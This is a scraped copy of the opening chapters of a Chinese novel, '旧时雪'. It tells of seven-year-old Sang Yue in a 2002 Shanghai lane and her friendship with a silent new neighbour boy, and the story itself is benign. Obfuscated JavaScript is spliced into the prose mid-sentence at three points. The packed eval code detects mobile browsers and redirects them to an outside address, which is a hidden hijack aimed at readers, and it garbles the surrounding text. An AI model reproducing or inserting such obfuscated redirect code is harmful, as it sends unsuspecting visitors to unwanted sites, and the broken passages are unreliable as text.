《旧时雪》 1. 01 桑悦日记:「弄堂里搬来了一个新小孩,好像是个不会说话的哑巴。但是我还是决定带他一起玩,因为他家有空调,有不怕弄坏的电脑,还有能收到炫动卡通台的电视机。我宣布,在这个世界上,他是我最羡慕的人!」 - 2002年暑假的第一天,桑悦从外婆口中听来一桩新闻。 “弄堂后头那个空房子,有人家搬得来咧,好像有个小人帮侬差不多大。” 外婆每天上午都要念经烧香,随便说了句就爬上阁楼。 没几分钟,清淡的降真香味从阁楼上飘下来。 桑悦个子小小的,站在梯子底下往上望,只能看到黑黝黝的、贴着报纸的阁楼天花板。 她懒得爬梯子上楼去,只在底下撕心裂肺地喊:“外婆!外婆!阿拉中午吃什么呀?——” 这一年,桑悦刚刚七岁。 外婆家的弄堂位于河南中路和南京东路的交叉口,是上海市最最最中心的地段,出门就是南京路步行街,距离上海地标外滩还不足十五分钟步行距离,每天都有游客来来往往,十足热闹。 弄堂口是一栋四层楼的老房子。楼里的屋子面积小,每层都住了有十几户人家。 桑悦就住在四楼最里面,小小一间,也就二十来平,没有厕所,厨房是整层邻居共用的公共厨房,阁楼还是桑悦的外公自己搭出来的。 外婆一共有五个孩子,都是女儿,桑悦妈妈排行老二。 早些年,家里五个女儿都挤在这二十多平的老房子里,实在不够住,外公就在上头搭了个阁楼,放了一张双人床一张单人床,刚好缓解了家里床不够睡的压力,还能有位置摆外婆的佛像和香炉。 现在是桑悦和外婆一起睡阁楼上的双人床。 她个子小,那个梯子又不是楼梯,是那种可以移动的木梯,架在那里也没什么防护措施,对小孩子来说,这样腾空爬起来很恐怖,总觉得一个不小心就会掉下去。 所以,如果不是必要,除了睡觉起床,她都不会上去。 桑悦在底下一连喊了好几声。 外婆终于念完一遍大悲咒,摇着广告扇,空出功夫回答她:“吃大馄饨!虾肉额!” “好!” 得到满意答案后,桑悦踮起脚尖,从五斗橱上摸来家门钥匙,蹦蹦跳跳地出了门。 穿过长长的、白天也昏暗的走廊,楼梯就在公共厨房旁边,转角两边全都是大敞着的玻璃窗户。 距离正午还有好一会儿,但阳光从窗外洒进来,称不上温暖,只有闷热。 六月下旬的上海,早已暑意满满。 临海的湿气混合着每天三十多度的气温,叫人总觉得浑身上下都是黏糊糊汗津津的,动一下就要冒汗。 不舒服,但还能忍。 毕竟每个夏天都是如此。 桑悦踩着陈旧的楼梯,“哒哒哒”,风一样地跑下楼。 迎面碰上邻居爷叔,惯例得来一句熟悉的调侃:“悦悦,噶热的天,又出去蹿弄堂啊?当心那外婆骂侬咧!” 桑悦笑嘻嘻的,声音清脆,响亮应和:“外婆在念佛,不会的!” “个么侬出去当心点哦!不要跑到弄堂外头去!” “晓得咧!爷叔再会!” 最后两级楼梯,桑悦“咚”一下跳下去。 入目处,是凹凸不平的地面,因为颜色的关系,看起来有点脏兮兮的,边边角角还有青苔丛生。 再远一些的地方,有几个大爷穿着老头背心,坐在躺椅上热火朝天地打斗地主。 桑悦怕被喊住打招呼,故意放轻了脚步,从另一边绕出去。 弄堂很长,靠近外婆家这边的出口外面是永和豆浆,另一边还有鳞次栉比的石库门老房子,就这么被一条弄堂穿在一起。 桑悦的目的地是弄堂另一头的出口,她要过马路,到对面的商店里去。 对面是一家卖钟表的老店,叫亨得利,上下有两层楼,巨大的招牌挂在外面,绕了一圈霓虹灯,晚上还会亮灯,看着特别时髦。 不过,亨得利里面的店员可不是好相与的,总是上上下下地打量人,估计着来人是否消费得起。如果穿着贵气,会收获热情的上海普通话招呼,如果穿得普通,就是不冷不热的“随便看”,附加背过身的一个白眼。 桑悦这样的小孩,压根不是目标客户。 她是去蹭免费空调的,自然,被翻白眼是常有的事。 几次下来,桑悦的脸皮练出来,无论那几个柜员阿姐阿姨说什么,都不会脸红了。 …… 2002年,外婆家还没有装空调,夏天依靠电扇和扇子度过。 桑悦实在怕热,每天最喜欢的事就是跑去亨得利,坐在门口的台阶上,吹着出入口的冷气,撑着下巴,等待每小时的整点和半点到来。 亨得利一楼放了一整排的落地摆钟,钟摆摇摇晃晃,其中有几个钟,每逢整点和半点都会报时。当然,最重要的是,里面有个鸟屋造型的挂钟,一到整点半点,就会有一只布谷鸟从钟上蹦出来,布谷布谷地叫。 桑悦很喜欢这只报时的小鸟,经常要来看它。 但外婆家太小也太旧,墙纸皮都剥落了,没有地方来挂这样的一个钟。 她只能眼馋地看看。 怀揣着这样期待雀跃的心情,桑悦迎着阳光,蹦蹦跳跳,一路跑过了长长的弄堂。 然而,今天是非比寻常的一天。 跑到巷尾时,她被一辆大卡车挡住了去路。 弄堂本就不宽,大卡车堵着出入口,旁边还有好几个男人在上上下下地搬家具,一点缝隙都没给人留。 桑悦停下脚步,思索着该从哪边出去,要不要麻烦别人让一下。 正此时,远远响起了报时的乐声。 是外滩的海关大楼在准点报时。新一个整点到了,布谷鸟叫完就要回巢了,半小时后才会重新出来。 这下,她也不再着急,靠到墙边,一边等,一边好奇地注视着那些人搬家的动静。 那行人忙忙碌碌的,进进出出半天都没搬完。 桑悦逐渐失去耐心,垂下眼,鞋尖一下一下蹭着地面,小声嘟嘟囔囔:“他们怎么有那么多东西呀……” 话音未落,她目光一晃,看到了一个小男孩。 男孩看起来和她差不多大,坐在不远处的花坛上,身边就是大敞着的石库门。 倏忽间,桑悦想到了外婆说的话。 空房子搬来了一户新人家,有个和她差不多大的小孩。 弄堂里大多是大人,大部分人家有小孩了就会搬走,搬到新家去。 因而,和桑悦同年龄的小孩子,整栋楼几乎没有。 石库门里倒是有几个小朋友,但现在基本都已经念小学了,是戴绿领巾红领巾的小大人了,放假也不乐意带着她一起玩。 不知道这个小孩多大? 他会不会也喜欢听布谷鸟报时呢? 桑悦贴着墙,磨磨蹭蹭地靠过去,在那个男孩面前站定。 她挤出了生平最用力的一个笑,朝对方打招呼:“侬好呀。” “……” 男孩一言不发,只是抬起头,默默看了她一眼。 这时,桑悦才看清他的脸。 以一个七岁小孩的审美来看,男孩长得相当漂亮,眼睛比她还大,宽宽的双眼皮,眼珠又圆又亮,鼻子嘴巴也生得好,比上少儿频道节目里的小孩都好看。 只是,他脸上没什么表情,面对桑悦的问好,也没露出半分笑来。 桑悦疑心他没听懂,想了想,不太流畅地切换成普通话:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172606|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你好呀,你是新搬来的邻居吗?我叫桑悦,住在那边的楼里,你叫什么名字?” “……” 男孩依旧没有回答,重新低下头去。 桑悦顺着他的视线一路往下,看到了他的衣服和鞋,都是崭新的,还是正正好好的尺码。 在这个年纪,桑悦还没有品牌的概念,但依照她妈罗英女士的观点,小孩子长得快,衣服和鞋就该买大一码,来年还能再穿穿,免得浪费。 罗英女士是这个家中收入最高的人,也是桑悦外婆的五个女儿里,学历最高,是正正经经的大学生。 九几年上山下乡的时候,罗英的大姐罗莉占了家里留沪工作的名额,使得罗英高中毕业就去了青浦农场插队落户,但她只用了一年,1978年,恢复高考的第二年,就靠着高考重新考回了市里的大学,现在在电厂里做工程师,职位不低,是绝对的高收入人群。 但就算能赚钱,罗英女士还是精准贯彻了上海人节约的观念,绝对不能多花一分钱。 因此,此刻,桑悦的裙子和运动鞋,全都大了半个码,不太合身的样子,和面前这个男孩形成了鲜明反差。 她感觉有点不好意思,往后退了半步,红着脸问:“你是住在这里吗?” 男孩始终不说话,让小桑悦的追问显得有点尴尬。 幸好,这会儿功夫,旁边叮叮哐哐都搬得差不多了。一个年轻女人给那几个男人结了钱,等他们把卡车开走,转身走过来。 “清清?怎么等在这里……咦?你是住在这里的小朋友吗?” 女人烫着洋气的卷发,穿着白色短袖衬衫,下面是到小腿的长裙,打扮得很漂亮。 她蹲下身来,和善地朝着桑悦笑。 桑悦想到,罗英也有一条这样款式的裙子,停顿了一下,才出声回答问题:“姐姐你好,我是住在前面的桑悦,今年七岁,九月份就要上小学了。” 那漂亮女人笑得更开心,眼睛弯成一条线,温温柔柔地冲着她摆手,“什么姐姐呀,是阿姨了。我是沈照清的妈妈,叫李觅,你叫我李阿姨就好。我们今天刚搬过来。” 说着,她推了那个男孩一下,“清清,打招呼呀!” “……” “沈照清,可以这么没礼貌伐?妈妈怎么帮侬讲的?” 沈照清还是低着头,不肯说话。 李觅只得无奈放弃,指着他,同桑悦说:“他就是沈照清,跟你一样,都是七岁,以后你们可以一起玩。来,进来吃点零食吧。” 桑悦从小被教导,不能随便去人家家里吃东西,连忙摆手拒绝。 但架不住她太想有个同龄玩伴,在李觅的盛情邀请下,还是跟着母子俩一块儿进了石库门里。 沈照清他们住在里头的第三间。 李觅推开门,对桑悦说:“里面东西还没收拾好,你们就坐沙发这里一起看会儿电视可以吗?” 桑悦压根没听清她说了什么。 她只感觉到扑面而来的凉气。 “阿姨,你家里开空调了呀?” 李觅:“对啊,今天还蛮热的咧。怎么啦?悦悦,你冷啊?” 桑悦拼命摇头,“我不冷!好舒服啊!” 从这一刻起,她打定主意,一定要和沈照清做朋友。 这样她就能常常来蹭空调了。 只是,沈照清一直不说话,让两人的关系无法快速拉近。 现在是2002年,Windows XP刚出没多久,电脑尚未完全普及,还需要电话线拨号上网的年代,“高冷”这个形容词还没有诞生在这个世界上。 桑悦坐在沈照清家的沙发上,思考良久,用尽一个七岁孩子毕生所学,犹犹豫豫地小声问他:“沈照清,你是不是不会说话的哑巴啊?” “……” 2. 02 沈照清正在给遥控器装电池。 他们刚搬过来,屋子里堆满了各种纸箱杂物,李觅还没来得及整理,唯独只给电视接上了电。 装箱的时候,遥控板是沈照清收的,电池早就拔出来,现在要重新装回去才能用。 听到桑悦小心翼翼的提问,沈照清诧异地扭头看了她一眼。 刚刚进门时,沈照清已经偷偷观察过这个突然冒出来的小女孩。 桑悦和他差不多高,但是比他要胖一些,圆圆的脸,肉肉的手臂,看起来就是个雪做的糯团子,满脸孩子气,像幼儿园小班的小孩,一点都没有即将成为小学生的样子。 ……现在看来,果然很幼稚! 沈照清拒绝回答桑悦这个问题,打开电视,把装好电池的遥控器放到她身边的沙发上,自己到里间去帮李觅理东西了。 他这么一走,桑悦突然发现,沈照清家比外婆家大不少,不仅有内外两间房间,好像还装了新的、单独的卫生间。 弄堂里大部分人家现在都还在用痰盂,或者去弄堂里的公厕,没有条件装独立卫浴,洗头洗澡都不方便。 譬如桑悦外婆家,要是家里有个谁要洗澡,就要让外公先避出去,然后拿个大号塑料盆,在吊扇上挂上半透明的大号红色塑料布,围着塑料盆套一圈,弄出一个聊胜于无的隔断帘,再往盆里倒上热水,人坐进去洗。 夏天勉强还算好,冬天这么洗一趟,塑料布围得再严实还是四面漏风,冷得没法说,必须得有人帮忙一次一次加热水。 有卫生间真好,每天不用一趟趟下楼倒痰盂,也能舒舒服服洗澡了。 桑悦止不住内心的羡慕。 不过,未经主人允许,她没有在别人家里胡乱走动,也没拿李觅放在旁边的水果零食,只乖乖坐在沙发上,双手端端正正地盖着膝盖,看电视。 沈照清家的电视也和外婆家不一样。 虽然都是显像管电视,但桑悦外婆家的是老款,沈照清家的是新款。 最重要的是,外婆为了省钱,没接有线电视,只能看十个台。 像沈照清现在播的这个炫动卡通台,桑悦之前从来没看过。 她只听幼儿园的同学说过,说这个台每天都会放各种不同的动画片。 现在,台里在放一个叫《四驱兄弟》的动画片,讲几个小孩子用四驱车比赛的故事。 桑悦认的字不够多,字幕不能完全看懂,只能仔仔细细听着。 一不小心,就入了迷。 等这集结束,插播广告时,李觅领着沈照清走出来,笑吟吟问桑悦:“悦悦要不要留在我们家吃饭?今天我们吃菜汤面哦!” 闻言,桑悦吓了一跳,立马去看墙上挂着的时钟。 居然已经快要中午11点半了! 外婆肯定已经念完经下阁楼了! 她手忙脚乱地从沙发跳下去,匆匆同李觅和沈照清挥手,“伐切啦!谢谢阿姨让我看电视!我外婆要来找我了,我先回家啦!沈照清,晚点我再来找你玩噢!或者你来找我也可以,我住在那边的楼里,四楼!四楼最里面!我叫桑悦!桑树的桑,喜悦的悦。很高兴认识你!” 沈照清:“……” 他别过头,故意不去看这个自来熟的小邻居。 余光里,桑悦已经飞快冲出他家,跑到弄堂里,像个小炮弹一样,头也不回地跑走了。 …… 2002年的夏天,桑悦自说自话地认识了一个叫沈照清的新朋友。 她想要将这件事告诉外婆,但还没跑上楼,邻居阿婆已经看到她,笑眯眯地逗她:“悦悦跑到啊里的起啦?那外婆找侬找较怪辰光来,等些回去要请侬吃生活咯!” (悦悦跑到哪里去啦?你外婆找你找了很久,等会儿回去你要挨打喽。) 桑悦脚步不停,小短腿费力地往上跨,一次走两级,还不忘气喘吁吁地回答阿婆:“不会的!阿拉屋里不打孩子!” “哈哈哈哈!侬个小宁!……” 桑悦上了四楼,往厨房里瞄一眼,就看到外婆拉着个脸,在公用厨房的水池子里洗东西。 桑悦外婆姓田,有个特别好听的名字,叫书秀。 在很早很早之前,田家是地主,到田书秀小时候才开始逐渐落魄,故而她爸妈都是上过学念过书的,取出来的名字也很有书香气。 相比之下,田书秀给五个女儿的名字,就显得简单了不少。 当初罗英为了工作,到将近四十岁才结婚,生下桑悦。田书秀今年六十过半,个子不高,人胖胖的,和马路上这个年纪的阿婆没什么差别,唯独表情总是不太好,嘴角向下拉着,一双眼睛盯着人看的时候,显得有些不太和蔼。 但桑悦一点不怕她,笑嘻嘻地就跳上去,一把抱住田书秀的腰,“外婆!” 田书秀关掉水龙头,转过身盯着她:“悦悦,侬刚刚跑到啊里的去了?” 田书秀是不会讲普通话的,也听不太懂,故而,桑悦也用上海话回答她:“后头新来的人家,我出去正好旁到以拉,就到以拉屋里响去看电视啦!” (后面新来的人家,我出去正好碰到他们,就去他们家里看电视啦。) 闻言,田书秀阴阳怪气道:“已经去看过了?侬倒帮那爷一样,蛮会搭呃。” (你和你爸爸一样,很会搭的。) 田书秀对桑悦她爸非常讨厌,准确来说,五个女儿,其中四个已经结婚,她平等地不喜欢四个女婿。 无论是在女儿面前,还是孩子面前,从来不掩饰分毫,讲话时常有些市井中的刻薄气。 桑悦打小跟着外婆一起长大,早就习以为常,听了依旧还是笑,嗲嗲地撒娇:“外婆外婆,馄饨烧好了伐?” “早好了,侬再白相一些就糊特了。”【注1】 “那我们快点去吃吧!外婆,等些我给你打扇子呀!侬覅生气啦!” …… 桑悦外婆家的晚饭,一般在晚上六点左右开始。 到饭点之前,桑悦妈罗英、桑悦外公、没结婚的四姨罗枚、还有大姨罗莉的女儿贺云皎,全都会回到这里。 这几天三姨罗芬的儿子、也就是桑悦表哥回了自己家。 平时他在附近上学,也是每天住在这屋子的。 二十几个平方的小房间,被大大小小的一家子挤得满满当当。一齐围在桌边吃饭时,弄堂里的各种新闻齐飞,做为下饭的谈资。 小小一张桌上,好像这个世界都没有秘密。 像最近菜价又涨啦、弄堂的老徐头搓麻将输了拗台脚啦、或是谁家女儿找了个男朋友啦、谁谁谁又换工作啦……叽里呱啦,和着屋外传来“叮叮咚咚”锅碗瓢盆的声音、油烟机“嗡嗡”的声音、以及弄堂里邻居走动说话大笑的声音,组成了每日准时准点的夕阳交响乐。 今日话题自然离开不了弄堂里来的新邻居。 田书秀已经向罗英介绍了桑悦今日窜弄堂的丰功伟绩,所有人的注意力霎时转移到桑悦身上。 “悦悦,你去过,你讲讲看,他家弄的怎么样?” 桑悦立刻表达了自己的羡慕:“沈照清家有空调!有厕所!还有有线电视!哦,还有,他妈妈老漂亮的。” 罗枚下班早,从弄堂里溜达一圈回来,已经把消息打听得差不多。 “长脚说,搬过来的就母子两个人。” 长脚是桑悦他们四楼一个邻居的绰号,是个个子特别高的中年男人,算是弄堂里的包打听吧,什么事都喜欢传,消息准确率一向挺高。 罗英有点惊讶,“单亲啊?” 罗枚:“好像是老公格姘头离婚的吧。” “……” 桑悦年纪尚小,暂时还不能准确理解什么叫“格姘头”,听了半截就失去耐心。 她和表姐贺云皎坐在一起,自顾自地一边吃饭一边看电视。 此时,东方卫视正在播放“老娘舅和他的儿孙们”,全上海话版搞笑情景剧,每日不能错过。 早在桑悦学会说“How are you? I''m fine. Thank you. And you? ”之前,她已经学会了老娘舅里阿庆爷叔最经典的口头禅——“珍珠奶茶真好喝。” 2002年,珍珠奶茶在上海才刚刚兴起没多久,但桑悦决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172607|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定要赶在潮流前线,找机会求罗英带她去尝一尝味道,就算被罗英骂不健康不卫生不干净也要买来喝。 等她上了小学,就能和同学们介绍了。 或许,也可以先和她的新伙伴沈照清介绍一下。 如果沈照清愿意让她时不时去他家蹭空调的话,她也不介意分他一半喝。 - 弄堂里的生活简单又生动,日子过得不疾不徐的。 第二天第三天第四天,桑悦经过沈照清家时,石库门里面都是静悄悄的,好像没有人在。 她不好意思自说自话推开那扇闭着的黑色大门,只能讪讪走开,继续往前,踏上日复一日去亨得利钟表店蹭空调的征程。 不过,罗英答应她,过两天会从单位里借一套《还珠格格2》的VCD碟片来给她看。 等碟片借来,桑悦也就没那么多时间天天在外面窜弄堂了,白天得抓紧时间守着电视。晚上家里要看本地新闻、看天气预报、看案件聚焦、看抗战剧,没时间让她看这些杂七杂八的东西。 …… 第五天,桑悦白天没有出门。 昨天临睡前,她发现自己有颗牙齿开始摇摇晃晃。 罗英去找了一根缝被单的线,和之前一样,打算自己动手,给她把牙齿拔下来。 桑悦怕疼,最害怕用线拔牙,死活不愿意,非要强撑着,等牙动得厉害点再弄。 这事儿导致她连出门玩的心情都没了,坐在窗前,有一下没一下地摇着里面那颗乳牙,手动加速它自己掉落的速度。 田书秀爬梯子上楼前,看到了桑悦恹恹的模样,动作停顿一下,告诉她:“悦悦,侬胖哥哥过两天要过来了,慢较叫伊带侬测起白相(晚点叫他带你出去玩)。” 这个年代,上海独生子女政策实行得极好。 罗英在央企工作,只能生一个孩子。 桑悦是她的独生女。 哥哥是罗芬的儿子周骏才、也就是桑悦表哥。加个胖字,特指他的体型。 无论是周骏才还是表姐贺云皎,大家全都是独生子女,又是打小一起在外婆家长大的,便也不分堂表之类,一律按照哥哥姐姐相称。 周骏才平常是住在外婆家的,他比桑悦大5岁,之前一直在附近上小学,只有放假才会回自己在杨浦区的家里。 九月开学之后,他就要转回杨浦去念初中了,以后估计也没法常常过来。 不过,时逢暑假开始,罗芬和她老公都要工作,白天家里没人,又不放心周骏才一个人待着,还是把他送到了田书秀这里。 桑悦一听哥哥要回来,立马精神起来。 周骏才念书一般般,调皮捣蛋的,但性格很好,只要有空就会领着桑悦到处玩。 田书秀不让桑悦跑出弄堂,但周骏才带着她,就能去步行街上溜达了。 她迫不及待,连牙都忘了,仰头对着阁楼大喊问道:“外婆,胖哥哥什么时候来啊?” 田书秀:“过几天!” 过几天……是几天呢? 桑悦茶饭不思一整天,终于在吃完晚饭吹电风扇的时候,才想起来今天没去看看沈照清回来没有。 她行动力还算强,立马换了鞋,掉头跑出家门。 上海的夏天天黑得晚,七点多还不是完全墨色的天,有若隐若现的光亮。 弄堂里各家各户都已经亮起灯,锅碗瓢盆在各处唱歌。 桑悦小小一个人,穿过长长的巷子,跑到了最远的石库门口。 这一回,石库门半敞着,能看到里面的巷子有人影攒动。 她小心翼翼地从门里挤进去,走到里头第三间房的门外,趴在门上听了下里面的动静,抬手敲门。 “沈照清、沈照清?你在家吗?我是桑悦!你回来了吗?” 没等太久,屋里传来脚步声。 沈照清将房门打开一条缝,面无表情地看着桑悦。 桑悦笑起来脸更圆了,在路灯光里,像个糯米团子。 她问沈照清:“要不要一起看动画片呀?但只能用你家的电视看。……作为交换,过两天让我哥哥带我们一起出去玩吧!” 3. 03 沈照清没说话,但也没拒绝她,默默让开身位,将房门拉开,用行动示意桑悦进来。 “那我进来啦!” 说完,桑悦自觉主动地在门口换了拖鞋,“噔噔噔”走进了屋里。 李觅不在,沈照清是一个人在家。 桑悦眨眨眼睛,有点惊讶地问道:“李阿姨没在家吗?你怎么一个人呀?” 桑悦从来没有一个人在家过。 她是罗英三十七岁多才生的孩子,外婆总说,她是罗英的小宝贝,一点差错都不能出,磕了碰了都是不得了的大事。 既然有小宝贝,那自然也有大宝贝。 田书秀厌恶桑悦她爸,从来不忘顺口挑拨一下:“你妈的大宝贝是你爸。一大一小,两则宝。” 桑悦从有记忆开始就住在外婆家,和她爸一年见不了两回。小孩子忘性大,也不是很在意自己爸爸被说。不生活在一起,到底是少了些感情。 相比之下,她更在意外婆。 田书秀额头上有个很大很凸起的包,头发都盖不住。 据罗枚说,在桑悦三四岁的时候,田书秀趁着她早上睡觉去买菜,把她一个人留在阁楼上。回来刚走到弄堂口,就听邻居说她在家里哭,怕她从阁楼摔下来,立马跑回去。当时就是因为跑得太急,摔了一下,额头上磕出来的大包,这么些年也没消下去。 所以,无论田书秀嘴里说说叨叨一些什么古怪的话,桑悦都不会在意。幸好她年纪小,确实也听不大懂那些俚语。 她只知道,家里一直是有大人在的,无论是外婆外公还是妈妈四姨,说是怕家里的小孩乱玩插座电线、或是撞到头摔跤之类的。 桑悦:“我妈说,我们都是小孩,一个人在家不安全。李阿姨去哪里了呀?” “……” 闻言,沈照清头也没抬,一言不发地坐到桌边,继续吃自己的晚饭。 桑悦垫脚看了一眼,他面前是一碗菜汤饭,不过没冒什么热气,看起来已经放凉了很久。 上回是菜汤面,这次是菜汤饭,沈照清他们吃得也太简单了。好可怜。 她想了想,决定看在他大晚上一个人惨兮兮的份上,把自己最喜欢的零食分享给他:“沈照清,你吃不吃巧克力?” “……” “等一等,我去家里给你拿哦!” 说完,糯米团子又“骨碌骨碌”地换了鞋,风一样跑出去。全程连电视机都没顾得上打开一下。 沈照清放下调羹,目光不由自主地追随着桑悦的背影。 为了方便洗头,桑悦一直是短头发。 小孩子也没什么发型可言,就是最普通的苹果头。脑袋后面有点蓬,随着她的动作一跳一跳的,每根头发丝都像装了小弹簧一样。 没过太久,苹果头又重新回到了沈照清的视线里。 夏天天气闷热,哪怕是夜晚,这样跑两圈也难免冒汗。桑悦抓着个透明保鲜袋,满头大汗地冲进沈照清家,献宝一般冲他摇了摇,“沈照清,你看!” 保鲜袋里装着一块一块敲碎的黑巧克力。 1984年,费列罗已经进入国内销售,罗英单位工资高福利好,时不时会发点巧克力干果,也时不时会有同事把一大盒一大盒的费列罗送来做人情。 但桑悦家吃得最多的还是她手中这种蜂皇浆巧克力,在步行街上的上海食品一店里就有卖,比两个手掌合起来还大的一整块,用双层包装纸包好了售卖。 田书秀把它买回来,用菜刀刀背一点点敲开,敲成一小块一小块,装在保鲜袋里,想到了就摸一块给桑悦,自己却不怎么舍得吃。 从节约省钱这方面来说,罗英罗枚都绝对是田书秀亲生的,行事简直如出一辙。 桑悦为了在妈妈和外婆眼皮底下把这袋巧克力拎出来,可是费了些力气。 还好外公帮着打掩护,才让她顺利跑出来。 但面对沈照清,她也没露出什么舍不得的意思,很大方地就挑了一大块递到他眼前,“喏,你尝尝吧。” 没办法,蹭空调和蹭电视都是长久之计,还是得先和沈照清打好关系才行。 哪怕不是为了蹭空调,桑悦在弄堂里也难得有同龄的小伙伴,总要交到这个朋友,说不定上小学了之后还能一起上学放学呢。 她爱说话,又实在怕寂寞,没人一起走的话也太无聊了。 “……” 沈照清盯着桑悦伸出来的手心看了好一会儿,但却迟迟没接。 终于,桑悦忍不住催促道:“你快拿呀!” 沈照清是实打实的上海人,但却不怎么爱吃糖果巧克力这类甜食。李觅以前端午节做赤豆粽给他沾白砂糖,他碰也不碰,宁可干吃淡的粽子。后头李觅也不怎么弄赤豆粽白粽了,全都换成咸肉粽才皆大欢喜。 不过,这没必要和桑悦说。 沈照清小脸微微皱了起来,迟疑片刻,到底还是从她手上接过了那块巧克力,塞进嘴里含着,试图一点一点往下咽。 桑悦一点没看出他的为难,只顾着傻乐。 她扯过沈照清的手,非常用力地和他握了下手,笑道:“那以后我们就是好朋友啦!” “……” 谁答应的?她也太自说自话了! 沈照清扭开脸,想了想,还是起身将电视遥控器找出来,放到沙发上最显眼的位置。 见状,桑悦摆摆手,捶胸顿足地叹气:“今天看不了了,我妈要叫我睡觉啦!明天,明天你还在家吗?我来找你玩好不好?” 沈照清沉默了一下,点点头。 …… 凭借着一块巧克力,桑悦和沈照清的友谊成功打下了一块小小的地基。 之后几天,两人早上下午都在一起玩。 沈照清不说话,桑悦话却密,什么鸡毛蒜皮的小事都能聊能说。 比如他们俩一起在看的动画片《四驱兄弟》,桑悦喜欢小烈,也喜欢阿吉,每逢他俩出场比赛,总要拍着手、热情洋溢地表达一番自己的喜爱。 她终于也带沈照清去了亨得利,坐在空调底下的台阶上,让他一起听布谷鸟报时。 桑悦撑着下巴,等海关大楼的钟声结束,闷声开口:“沈照清,我告诉你一个秘密。” “去年夏天,我们四楼有个邻居家装了空调,门缝里会有冷气吹出来,特别舒服。我路过就会走得慢一点,想多布一会儿。” 上海话里,吹空调的说法叫“孵空调”。 “后来停得太久,被人家发现了。那家人和我外婆关系不好,就抓着我,说我是小偷,想偷他家的东西。然后我妈我外婆就和人家吵架,但回来还是骂我。” 桑悦小小的脸上难得露出一丝愁容,“沈照清,我可羡慕你了,你一个人在家都能开空调,你妈妈应该很有钱吧?” 沈照清盯着亨得利里面的摆钟出神,像是压根没听她在说什么。 桑悦也不介意,站起身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172608|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍拍裤子,“我要回去吃午饭了,今天我家吃饺子,你要不要来?我可以把我的那份分你一半。” 外婆肯定舍不得莫名其妙给沈照清吃一碗。 但她往常能吃十二个饺子,如果沈照清想吃的话,她今天可以只吃六个,剩下的匀给他。 沈照清当然没有去桑悦家吃饺子,李觅每天都不在家,他就吃李觅准备好放在冰箱里的冷饭冷菜。现在天气热,饭菜在室外摆一会儿,就能下咽。 桑悦毫不意外沈照清的拒绝。 小哑巴一向就是这么爱答不理她的。 只不过,之后桑悦再去他家,每一次,沈照清都会提前打开空调,把室温打得凉飕飕的,比商场还舒服。 …… - 到七月开始几天后,周骏才总算被罗粉送来了外婆家。 小桑悦喜欢周骏才,总是“胖哥哥胖哥哥”地跟着他跑。外婆觉得周骏才太调皮捣蛋,怕不安全,总让外公带着他出门,他再带上小尾巴桑悦一起。 现在,小尾巴又拖上了新的小尾巴沈照清。 沈照清刚刚搬来弄堂这边,桑悦央着外公和周骏才,带他们俩小孩一起去逛城隍庙。 城隍庙就是后来的上海豫园,也是地标景区。 从桑悦家出发,走过去大约二十分钟。哪怕小孩走得慢,最多也就半小时。 坐公交车车票要一块钱,外公、加上已经要买半价票的周骏才,这钱外婆是肯定不会让外公花的,他们只能走路。 桑悦外公是个高高瘦瘦的男人,长得相当不错,有点长身玉立的意思,和矮矮胖胖的外婆像是两个极端。 外公身体不好,在桑悦仅有的记忆里,就住过好几次院,平日在家也是不怎么讲话的,混在一家子女人里,像一道沉默的影子。 据罗英所说,外公以前一直在青海工作,一年到头都回不了家。但因为每天接触辐射,不到六十岁就得了癌,动过手术之后就在家修养,已经修养了好些年。 年仅7岁的桑悦还不曾听说过“两弹一星”,也不知道什么是党员,只知道外公身体不好,但对孩子们都很随和,比外婆好说话得多。 像之前,贺云皎要找工作,买了个台式机电脑,就是外公把电脑桌和主机搬到四楼来的。 因此,桑悦也确信,外公不会拒绝她的请求。 捡了个没太阳的阴天,四人起了大早,踏上了去城隍庙的路。 外公走在最前面。 后面拖着三个半大小孩。 四个人走过干净平整的马路,路过索尼爱立信的广告牌,穿过立交桥和地下小商品市场,来到城隍庙,到九曲桥上转来转去地玩闹。 外公给桑悦他们买了一瓶冰的酷儿果汁,让他们仨分着喝。 酷儿太甜,沈照清拒绝。 最后一整瓶都进了桑悦和周骏才的肚子里。 走了太久,桑悦满脸都是汗,用罗英给她的手绢随便擦了几下,又立马扭头去找沈照清,怕他在游客中走丢。 幸好,沈照清就站在外公旁边,没被人抱走。 他脸上额头上一点汗都没有,看起来完全不怕热。 桑悦心里羡慕不已,“蹬蹬蹬”跑过去,摸了摸他光滑白皙的手臂,“好凉啊。” 沈照清立马“唰”一下收回手。 桑悦嘟起嘴抱怨:“摸一下有什么关系,这么小气干嘛。” 不过,她才不会和沈照清生气。 4. 04 